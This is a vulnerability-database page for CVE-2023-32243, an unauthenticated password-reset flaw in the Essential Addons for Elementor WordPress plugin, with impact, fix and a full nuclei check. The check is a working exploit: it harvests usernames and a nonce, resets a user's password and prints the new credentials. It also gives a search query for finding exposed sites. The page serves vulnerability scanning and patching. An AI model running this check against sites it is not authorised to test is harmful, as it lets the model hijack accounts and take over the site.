HexBrain

Browse / CVEs / CVE-2023-32243

CVE-2023-32243· wpdeveloper / essential addons for elementor· CWE-287

WordPress Elementor Lite 5.7.1 - Arbitrary Password Reset

criticalseverity
9.8CVSS score
75.5%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

Improper Authentication vulnerability in WPDeveloper Essential Addons for Elementor allows Privilege Escalation. This issue affects Essential Addons for Elementor: from 5.4.0 through 5.7.1.

Impact

An attacker can gain unauthorized access to user accounts and potentially take control of the affected WordPress website.

Fix

Update WordPress Elementor Lite plugin to the latest version (5.7.2) or apply the patch provided by the vendor.

How to confirm it

Send: GET /wp-login.php ; GET /wp-json/wp/v2/users/ ; GET /?rest_route=/wp/v2/users ; GET /feed/ ; GET /author-sitemap.xml
Positive when: contains in body_6 "\"success\":true" and "\"data\":"

Run it with nuclei: nuclei -id CVE-2023-32243 -u <target>

The full check
id: CVE-2023-32243

info:
  name: WordPress Elementor Lite 5.7.1 - Arbitrary Password Reset
  author: DhiyaneshDK,Vikas Kundu
  severity: critical
  description: |
    Improper Authentication vulnerability in WPDeveloper Essential Addons for Elementor allows Privilege Escalation. This issue affects Essential Addons for Elementor: from 5.4.0 through 5.7.1.
  impact: |
    An attacker can gain unauthorized access to user accounts and potentially take control of the affected WordPress website.
  remediation: |
    Update WordPress Elementor Lite plugin to the latest version (5.7.2) or apply the patch provided by the vendor.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-32243
    - https://patchstack.com/articles/critical-privilege-escalation-in-essential-addons-for-elementor-plugin-affecting-1-million-sites?_s_id=cve
    - https://github.com/RandomRobbieBF/CVE-2023-32243/blob/main/exploit.py
    - https://wordpress.org/plugins/essential-addons-for-elementor-lite/
    - https://patchstack.com/database/vulnerability/essential-addons-for-elementor-lite/wordpress-essential-addons-for-elementor-plugin-5-4-0-5-7-1-unauthenticated-privilege-escalation-vulnerability?_s_id=cve
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-32243
    cwe-id: CWE-287
    epss-score: 0.75531
    epss-percentile: 0.99521
    cpe: cpe:2.3:a:wpdeveloper:essential_addons_for_elementor:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 6
    vendor: wpdeveloper
    product: essential_addons_for_elementor
    framework: wordpress
    google-query: inurl:/wp-content/plugins/essential-addons-for-elementor-lite
  tags: cve2023,cve,wordpress,wp,wp-plugin,auth-bypass,intrusive,wpdeveloper,vkev,vuln

http:
  - raw:
      - |
        GET /wp-login.php HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /wp-json/wp/v2/users/ HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /?rest_route=/wp/v2/users HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /feed/ HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /author-sitemap.xml HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=login_or_register_user&eael-resetpassword-submit=true&page_id=124&widget_id=224&eael-resetpassword-nonce={{nonce}}&eael-pass1={{password}}&eael-pass2={{password}}&rp_login={{wordpress_username}}

    payloads:
      password:
        - "{{randstr}}"
    host-redirects: true
    max-redirects: 2
    stop-at-first-match: true
    matchers:
      - type: word
        part: body_6
        words:
          - '"success":true'
          - '"data":'
        condition: and

    extractors:
      - type: regex
        name: nonce
        part: body_1
        group: 1
        regex:
          - 'nonce":"([0-9a-z]+)'
        internal: true

      - type: json
        part: body
        name: wordpress_username
        group: 1
        json:
          - '.[] | .slug'
          - '.[].name'
        internal: true

      - type: regex
        part: body_4
        name: wordpress_username
        group: 1
        regex:
          - '<dc:creator><!\[CDATA\[([A-Za-z]+)\]\]><\/dc:creator>'
        internal: true

      - type: regex
        part: body_5
        name: wordpress_username
        group: 1
        regex:
          - '\/author\/([a-z-]+)\/'
        internal: true

      - type: dsl
        dsl:
          - '"WP_USERNAME: "+ wordpress_username + " WP_PASSWORD: "+ password'

References

Use this check only on systems you are authorised to test. Where the data comes from